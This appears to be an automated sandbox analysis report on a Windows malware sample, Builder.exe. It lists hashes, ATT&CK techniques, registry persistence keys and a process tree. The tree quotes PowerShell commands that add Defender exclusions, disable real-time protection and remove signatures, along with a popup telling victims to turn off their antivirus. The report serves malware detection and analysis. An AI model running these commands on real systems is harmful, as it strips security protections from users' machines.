d94fc51460a8a31f58c50f1ebbeb69e0e7c26f839406b20d35eb2fa23f8ff53b

Analysis

max time kernel
150s
max time network
105s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
06-10-2024 10:09

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General

Target

Builder.exe
Size

7.4MB
MD5

840f918bb88975cf484e3d118de9d90a
SHA1

c77b22957059089e8e9af3f1b43ccf56d52044ab
SHA256

d94fc51460a8a31f58c50f1ebbeb69e0e7c26f839406b20d35eb2fa23f8ff53b
SHA512

6f9a68bac6a2fdc640e08274937da47142bd1cf5eb7208bf6cb6efc3e99d2d1be2654ae5b8ea6624cb1615255c810b832f2c3a69b48f53134f61ecb5a3615b42
SSDEEP

196608:ZuWYS6uOshoKMuIkhVastRL5Di3uq1D7mn:9YShOshouIkPftRL54DR0

Score

10^/10

discovery evasion execution persistence upx

Malware Config

Signatures

Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1516	powershell.exe
3176	powershell.exe

Executes dropped EXE 7 IoCs

pid	Process
3764	builder.exe
2040	builder.exe
4604	icsys.icn.exe
1832	explorer.exe
4864	spoolsv.exe
4464	svchost.exe
4936	spoolsv.exe

Loads dropped DLL 17 IoCs

pid	Process
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe
2040	builder.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	svchost.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\explorer.exe	svchost.exe
File opened for modification	C:\Windows\SysWOW64\explorer.exe	explorer.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
2276	tasklist.exe

UPX packed file 48 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000002344c-31.dat	upx
behavioral2/memory/2040-35-0x00007FFFC6EE0000-0x00007FFFC74C9000-memory.dmp	upx
behavioral2/files/0x000700000002343f-37.dat	upx
behavioral2/files/0x0007000000023446-57.dat	upx
behavioral2/memory/2040-58-0x00007FFFCC9F0000-0x00007FFFCC9FF000-memory.dmp	upx
behavioral2/files/0x0007000000023445-56.dat	upx
behavioral2/files/0x0007000000023444-55.dat	upx
behavioral2/files/0x0007000000023443-54.dat	upx
behavioral2/files/0x0007000000023442-53.dat	upx
behavioral2/files/0x0007000000023441-52.dat	upx
behavioral2/files/0x0007000000023440-51.dat	upx
behavioral2/files/0x000700000002343e-50.dat	upx
behavioral2/files/0x0007000000023451-49.dat	upx
behavioral2/files/0x0007000000023450-48.dat	upx
behavioral2/files/0x000700000002344f-47.dat	upx
behavioral2/files/0x000700000002344b-44.dat	upx
behavioral2/files/0x0007000000023449-43.dat	upx
behavioral2/files/0x000700000002344a-41.dat	upx
behavioral2/memory/2040-40-0x00007FFFC7A70000-0x00007FFFC7A93000-memory.dmp	upx
behavioral2/memory/2040-64-0x00007FFFC78D0000-0x00007FFFC78FD000-memory.dmp	upx
behavioral2/memory/2040-66-0x00007FFFCB3D0000-0x00007FFFCB3E9000-memory.dmp	upx
behavioral2/memory/2040-68-0x00007FFFC7ED0000-0x00007FFFC7EF3000-memory.dmp	upx
behavioral2/memory/2040-70-0x00007FFFB86E0000-0x00007FFFB8857000-memory.dmp	upx
behavioral2/memory/2040-72-0x00007FFFC7EB0000-0x00007FFFC7EC9000-memory.dmp	upx
behavioral2/memory/2040-74-0x00007FFFC8580000-0x00007FFFC858D000-memory.dmp	upx
behavioral2/memory/2040-76-0x00007FFFC7B20000-0x00007FFFC7B53000-memory.dmp	upx
behavioral2/memory/2040-81-0x00007FFFB80B0000-0x00007FFFB817D000-memory.dmp	upx
behavioral2/memory/2040-84-0x00007FFFC7A70000-0x00007FFFC7A93000-memory.dmp	upx
behavioral2/memory/2040-83-0x00007FFFB7B90000-0x00007FFFB80B0000-memory.dmp	upx
behavioral2/memory/2040-80-0x00007FFFC6EE0000-0x00007FFFC74C9000-memory.dmp	upx
behavioral2/memory/2040-86-0x00007FFFC7B00000-0x00007FFFC7B14000-memory.dmp	upx
behavioral2/memory/2040-88-0x00007FFFC7EA0000-0x00007FFFC7EAD000-memory.dmp	upx
behavioral2/memory/2040-90-0x00007FFFB7A70000-0x00007FFFB7B8C000-memory.dmp	upx
behavioral2/memory/2040-117-0x00007FFFC7A70000-0x00007FFFC7A93000-memory.dmp	upx
behavioral2/memory/2040-116-0x00007FFFC6EE0000-0x00007FFFC74C9000-memory.dmp	upx
behavioral2/memory/2040-140-0x00007FFFB80B0000-0x00007FFFB817D000-memory.dmp	upx
behavioral2/memory/2040-143-0x00007FFFB7A70000-0x00007FFFB7B8C000-memory.dmp	upx
behavioral2/memory/2040-142-0x00007FFFC7EA0000-0x00007FFFC7EAD000-memory.dmp	upx
behavioral2/memory/2040-141-0x00007FFFC7B00000-0x00007FFFC7B14000-memory.dmp	upx
behavioral2/memory/2040-139-0x00007FFFC7B20000-0x00007FFFC7B53000-memory.dmp	upx
behavioral2/memory/2040-138-0x00007FFFC8580000-0x00007FFFC858D000-memory.dmp	upx
behavioral2/memory/2040-137-0x00007FFFC7EB0000-0x00007FFFC7EC9000-memory.dmp	upx
behavioral2/memory/2040-136-0x00007FFFB86E0000-0x00007FFFB8857000-memory.dmp	upx
behavioral2/memory/2040-135-0x00007FFFC7ED0000-0x00007FFFC7EF3000-memory.dmp	upx
behavioral2/memory/2040-134-0x00007FFFCB3D0000-0x00007FFFCB3E9000-memory.dmp	upx
behavioral2/memory/2040-133-0x00007FFFC78D0000-0x00007FFFC78FD000-memory.dmp	upx
behavioral2/memory/2040-132-0x00007FFFCC9F0000-0x00007FFFCC9FF000-memory.dmp	upx
behavioral2/memory/2040-131-0x00007FFFB7B90000-0x00007FFFB80B0000-memory.dmp	upx

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Resources\Themes\icsys.icn.exe	Builder.exe
File opened for modification	\??\c:\windows\resources\themes\explorer.exe	icsys.icn.exe
File opened for modification	\??\c:\windows\resources\spoolsv.exe	explorer.exe
File opened for modification	\??\c:\windows\resources\svchost.exe	spoolsv.exe
File opened for modification	C:\Windows\Resources\tjud.exe	explorer.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Builder.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icsys.icn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
4892	Builder.exe
3176	powershell.exe
1516	powershell.exe
1516	powershell.exe
3176	powershell.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
4604	icsys.icn.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
1832	explorer.exe
4464	svchost.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	2276	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4824	WMIC.exe
Token: SeSecurityPrivilege	4824	WMIC.exe
Token: SeTakeOwnershipPrivilege	4824	WMIC.exe
Token: SeLoadDriverPrivilege	4824	WMIC.exe
Token: SeSystemProfilePrivilege	4824	WMIC.exe
Token: SeSystemtimePrivilege	4824	WMIC.exe
Token: SeProfSingleProcessPrivilege	4824	WMIC.exe
Token: SeIncBasePriorityPrivilege	4824	WMIC.exe
Token: SeCreatePagefilePrivilege	4824	WMIC.exe
Token: SeBackupPrivilege	4824	WMIC.exe
Token: SeRestorePrivilege	4824	WMIC.exe
Token: SeShutdownPrivilege	4824	WMIC.exe
Token: SeDebugPrivilege	4824	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4824	WMIC.exe
Token: SeRemoteShutdownPrivilege	4824	WMIC.exe
Token: SeUndockPrivilege	4824	WMIC.exe
Token: SeManageVolumePrivilege	4824	WMIC.exe
Token: 33	4824	WMIC.exe
Token: 34	4824	WMIC.exe
Token: 35	4824	WMIC.exe
Token: 36	4824	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4824	WMIC.exe
Token: SeSecurityPrivilege	4824	WMIC.exe
Token: SeTakeOwnershipPrivilege	4824	WMIC.exe
Token: SeLoadDriverPrivilege	4824	WMIC.exe
Token: SeSystemProfilePrivilege	4824	WMIC.exe
Token: SeSystemtimePrivilege	4824	WMIC.exe
Token: SeProfSingleProcessPrivilege	4824	WMIC.exe
Token: SeIncBasePriorityPrivilege	4824	WMIC.exe
Token: SeCreatePagefilePrivilege	4824	WMIC.exe
Token: SeBackupPrivilege	4824	WMIC.exe
Token: SeRestorePrivilege	4824	WMIC.exe
Token: SeShutdownPrivilege	4824	WMIC.exe
Token: SeDebugPrivilege	4824	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4824	WMIC.exe
Token: SeRemoteShutdownPrivilege	4824	WMIC.exe
Token: SeUndockPrivilege	4824	WMIC.exe
Token: SeManageVolumePrivilege	4824	WMIC.exe
Token: 33	4824	WMIC.exe
Token: 34	4824	WMIC.exe
Token: 35	4824	WMIC.exe
Token: 36	4824	WMIC.exe
Token: SeDebugPrivilege	3176	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4892	Builder.exe
4892	Builder.exe
4604	icsys.icn.exe
4604	icsys.icn.exe
1832	explorer.exe
1832	explorer.exe
4864	spoolsv.exe
4864	spoolsv.exe
4464	svchost.exe
4464	svchost.exe
4936	spoolsv.exe
4936	spoolsv.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 4892 wrote to memory of 3764	4892	Builder.exe	82
PID 4892 wrote to memory of 3764	4892	Builder.exe	82
PID 3764 wrote to memory of 2040	3764	builder.exe	83
PID 3764 wrote to memory of 2040	3764	builder.exe	83
PID 2040 wrote to memory of 3032	2040	builder.exe	84
PID 2040 wrote to memory of 3032	2040	builder.exe	84
PID 2040 wrote to memory of 2864	2040	builder.exe	85
PID 2040 wrote to memory of 2864	2040	builder.exe	85
PID 2040 wrote to memory of 1424	2040	builder.exe	86
PID 2040 wrote to memory of 1424	2040	builder.exe	86
PID 2040 wrote to memory of 372	2040	builder.exe	90
PID 2040 wrote to memory of 372	2040	builder.exe	90
PID 2040 wrote to memory of 4828	2040	builder.exe	92
PID 2040 wrote to memory of 4828	2040	builder.exe	92
PID 3032 wrote to memory of 3176	3032	cmd.exe	94
PID 3032 wrote to memory of 3176	3032	cmd.exe	94
PID 372 wrote to memory of 2276	372	cmd.exe	95
PID 372 wrote to memory of 2276	372	cmd.exe	95
PID 4828 wrote to memory of 4824	4828	cmd.exe	96
PID 4828 wrote to memory of 4824	4828	cmd.exe	96
PID 1424 wrote to memory of 4848	1424	cmd.exe	97
PID 1424 wrote to memory of 4848	1424	cmd.exe	97
PID 2864 wrote to memory of 1516	2864	cmd.exe	98
PID 2864 wrote to memory of 1516	2864	cmd.exe	98
PID 4892 wrote to memory of 4604	4892	Builder.exe	100
PID 4892 wrote to memory of 4604	4892	Builder.exe	100
PID 4892 wrote to memory of 4604	4892	Builder.exe	100
PID 4604 wrote to memory of 1832	4604	icsys.icn.exe	101
PID 4604 wrote to memory of 1832	4604	icsys.icn.exe	101
PID 4604 wrote to memory of 1832	4604	icsys.icn.exe	101
PID 1832 wrote to memory of 4864	1832	explorer.exe	102
PID 1832 wrote to memory of 4864	1832	explorer.exe	102
PID 1832 wrote to memory of 4864	1832	explorer.exe	102
PID 4864 wrote to memory of 4464	4864	spoolsv.exe	103
PID 4864 wrote to memory of 4464	4864	spoolsv.exe	103
PID 4864 wrote to memory of 4464	4864	spoolsv.exe	103
PID 4464 wrote to memory of 4936	4464	svchost.exe	104
PID 4464 wrote to memory of 4936	4464	svchost.exe	104
PID 4464 wrote to memory of 4936	4464	svchost.exe	104

C:\Users\Admin\AppData\Local\Temp\Builder.exe
"C:\Users\Admin\AppData\Local\Temp\Builder.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4892
- \??\c:\users\admin\appdata\local\temp\builder.exe
  c:\users\admin\appdata\local\temp\builder.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3764
- - \??\c:\users\admin\appdata\local\temp\builder.exe
    c:\users\admin\appdata\local\temp\builder.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2040
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\builder.exe '"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3032
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\builder.exe '
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3176
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2864
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Failed to open Builder.exe! Please turn off your Anti-Virus. If you think this is a mistake please contact DexterWasHere#2952 on Discord', 0, 'Error02', 0+16);close()""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1424
    - - C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Failed to open Builder.exe! Please turn off your Anti-Virus. If you think this is a mistake please contact DexterWasHere#2952 on Discord', 0, 'Error02', 0+16);close()"
        5⤵
        
        PID:4848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:372
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2276
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4828
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4824
- C:\Windows\Resources\Themes\icsys.icn.exe
  C:\Windows\Resources\Themes\icsys.icn.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4604
- - \??\c:\windows\resources\themes\explorer.exe
    c:\windows\resources\themes\explorer.exe
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in System32 directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1832
  - - \??\c:\windows\resources\spoolsv.exe
      c:\windows\resources\spoolsv.exe SE
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4864
    - - \??\c:\windows\resources\svchost.exe
        
        c:\windows\resources\svchost.exe
        5⤵
        Modifies visiblity of hidden/system files in Explorer
        Executes dropped EXE
        Adds Run key to start application
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4464
      - \??\c:\windows\resources\spoolsv.exe
        
        c:\windows\resources\spoolsv.exe PR
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:4936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\VCRUNTIME140.dll

Filesize
106KB

MD5
49c96cecda5c6c660a107d378fdfc3d4

SHA1
00149b7a66723e3f0310f139489fe172f818ca8e

SHA256
69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc

SHA512
e09e072f3095379b0c921d41d6e64f4f1cd78400594a2317cfb5e5dca03dedb5a8239ed89905c9e967d1acb376b0585a35addf6648422c7ddb472ce38b1ba60d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\_bz2.pyd

Filesize
48KB

MD5
c413931b63def8c71374d7826fbf3ab4

SHA1
8b93087be080734db3399dc415cc5c875de857e2

SHA256
17bfa656cabf7ef75741003497a1c315b10237805ff171d44625a04c16532293

SHA512
7dc45e7e5ed35cc182de11a1b08c066918920a6879ff8e37b6bfbdd7d40bffa39ea4aca778aa8afb99c81a365c51187db046bceb938ce9ace0596f1cf746474f

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\_ctypes.pyd

Filesize
58KB

MD5
00f75daaa7f8a897f2a330e00fad78ac

SHA1
44aec43e5f8f1282989b14c4e3bd238c45d6e334

SHA256
9ffadcb2c40ae6b67ab611acc09e050bbe544672cf05e8402a7aa3936326de1f

SHA512
f222f0ebf16a5c6d16aa2fba933034e692e26e81fea4d8b008259aff4102fe8acf3807f3b016c24002daa15bb8778d7fef20f4ae1206d5a6e226f7336d4da5d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\_decimal.pyd

Filesize
106KB

MD5
e3fb8bf23d857b1eb860923ccc47baa5

SHA1
46e9d5f746c047e1b2fefaaf8d3ec0f2c56c42f0

SHA256
7da13df1f416d3ffd32843c895948e460af4dc02cf05c521909555061ed108e3

SHA512
7b0a1fc00c14575b8f415fadc2078bebd157830887dc5b0c4414c8edfaf9fc4a65f58e5cceced11252ade4e627bf17979db397f4f0def9a908efb2eb68cd645c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\_hashlib.pyd

Filesize
35KB

MD5
b227bf5d9fec25e2b36d416ccd943ca3

SHA1
4fae06f24a1b61e6594747ec934cbf06e7ec3773

SHA256
d42c3550e58b9aa34d58f709dc65dc4ee6eea83b651740822e10b0aa051df1d7

SHA512
c6d7c5a966c229c4c7042ef60015e3333dab86f83c230c97b8b1042231fdb2a581285a5a08c33ad0864c6bd82f5a3298964ab317736af8a43e7caa7669298c3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\_lzma.pyd

Filesize
85KB

MD5
542eab18252d569c8abef7c58d303547

SHA1
05eff580466553f4687ae43acba8db3757c08151

SHA256
d2a7111feeaacac8b3a71727482565c46141cc7a5a3d837d8349166bea5054c9

SHA512
b7897b82f1aa9d5aa895c3de810dab1aa335fdf7223e4ff29b32340ad350d9be6b145f95a71c7bc7c88c8df77c3f04853ae4d6f0d5a289721fc1468ecba3f958

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\_queue.pyd

Filesize
25KB

MD5
347d6a8c2d48003301032546c140c145

SHA1
1a3eb60ad4f3da882a3fd1e4248662f21bd34193

SHA256
e71803913b57c49f4ce3416ec15dc8a9e5c14f8675209624e76cd71b0319b192

SHA512
b1fdb46b80bb4a39513685781d563a7d55377e43e071901930a13c3e852d0042a5302cd238ddf6ea4d35ceee5a613c96996bffad2da3862673a0d27e60ff2c06

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\_socket.pyd

Filesize
43KB

MD5
1a34253aa7c77f9534561dc66ac5cf49

SHA1
fcd5e952f8038a16da6c3092183188d997e32fb9

SHA256
dc03d32f681634e682b02e9a60fdfce420db9f26754aefb9a58654a064dc0f9f

SHA512
ff9eeb4ede4b4dd75c67fab30d0dec462b8af9ca6adc1dcae58f0d169c55a98d85bb610b157f17077b8854ec15af4dfab2f0d47fa9bc463e5b2449979a50293a

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\_sqlite3.pyd

Filesize
56KB

MD5
1a8fdc36f7138edcc84ee506c5ec9b92

SHA1
e5e2da357fe50a0927300e05c26a75267429db28

SHA256
8e4b9da9c95915e864c89856e2d7671cd888028578a623e761aeac2feca04882

SHA512
462a8f995afc4cf0e041515f0f68600dfd0b0b1402be7945d60e2157ffd4e476cf2ae9cdc8df9595f0fe876994182e3e43773785f79b20c6df08c8a8c47fffa0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\_ssl.pyd

Filesize
65KB

MD5
f9cc7385b4617df1ddf030f594f37323

SHA1
ebceec12e43bee669f586919a928a1fd93e23a97

SHA256
b093aa2e84a30790abeee82cf32a7c2209978d862451f1e0b0786c4d22833cb6

SHA512
3f362c8a7542212d455f1f187e24f63c6190e564ade0f24561e7e20375a1f15eb36bd8dce9fdaafdab1d6b348a1c6f7cddb9016e4f3535b49136550bc23454fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\base_library.zip

Filesize
1.4MB

MD5
32ede00817b1d74ce945dcd1e8505ad0

SHA1
51b5390db339feeed89bffca925896aff49c63fb

SHA256
4a73d461851b484d213684f0aadf59d537cba6fe7e75497e609d54c9f2ba5d4a

SHA512
a0e070b2ee1347e85f37e9fd589bc8484f206fa9c8f4020de147b815d2041293551e3a14a09a6eb4050cfa1f74843525377e1a99bbdcfb867b61ebddb89f21f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\blank.aes

Filesize
114KB

MD5
b88897089c37878d49863c4b33da707a

SHA1
f21c6efdbef8748898c4ac7349bfd2ea24ffaf86

SHA256
0260b2f72c6de60093d872374a540eb303d5b8c2387fb7047169f7c6c99cbabf

SHA512
26324bf7ab88c84fd048304aec59c89c8a5ac2944185f6a0e39230a4f4c57c6caf72035a9685bdf9300b6cc19dd1401aaad3d4928b08f39f945954d012e07824

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\blank.aes

Filesize
115KB

MD5
b3157f7654bba4c31cc91b6e9adc43cd

SHA1
ef822d9a4aac6dcb451d66a6841574df9af9310d

SHA256
c9102608332eda9340cf2e888507b46cea3141bfefae2813b165d665764bdfe8

SHA512
4d16847737b52d4451757a22e7e7d5a0f787d54473d8e9c611fc516c4d9f946057cec5d97d8c9dce8f0abb8c85dfafd9db403a25410b0c03704b50ced294163c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\libcrypto-3.dll

Filesize
1.6MB

MD5
78ebd9cb6709d939e4e0f2a6bbb80da9

SHA1
ea5d7307e781bc1fa0a2d098472e6ea639d87b73

SHA256
6a8c458e3d96f8dd3bf6d3cacc035e38edf7f127eee5563b51f8c8790ced0b3e

SHA512
b752769b3de4b78905b0326b5270091642ac89ff204e9e4d78670791a1fa211a54d777aeef59776c21f854c263add163adaef6a81b166190518cfaaf4e2e4122

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\libffi-8.dll

Filesize
29KB

MD5
08b000c3d990bc018fcb91a1e175e06e

SHA1
bd0ce09bb3414d11c91316113c2becfff0862d0d

SHA256
135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

SHA512
8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\libssl-3.dll

Filesize
223KB

MD5
